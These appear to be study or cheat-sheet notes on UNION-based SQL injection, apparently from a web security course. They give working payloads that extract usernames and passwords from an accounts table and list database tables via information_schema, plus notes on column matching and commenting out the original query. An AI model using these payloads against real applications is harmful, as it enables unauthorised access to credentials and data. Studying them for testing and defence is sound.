SQL Injection UNION-based Payloads¶
Use UNION to get information about another table. Usually original sql looks like:
select id, title, description, price from newws where id= <input value>
0 UNION ALL SELECT ID, USERNAME, PASSWORD, 1 from accounts
select id, title, description, price from newws where id=0 UNION ALL SELECT ID, USERNAME, PASSWORD, 1 from accounts
Notes¶
- Number of columns must be the same in the tables
- Types of columns can be different in the tables in MYSQL. . In Postgres and MSSQL types of columns must be the same in the tables.
- Use -- to comment part of original SQL
Payload:
test')) UNION ALL select NULL, table_name, table_schema, 0 from information_schema.tables where table_schema not in ('information_schema', 'mysql', 'performance_schema', 'sys')-- - Use ', ).. to finish first part of original SQL
References¶
- web200.SQL Injection.Exploiting SQL Injection. UNION-based Payloads
- (Microsoft, 2021), https://docs.microsoft.com/en-us/sql/t-sql/language-elements/set-operators-union-transact-sql?view=sql-server-ver15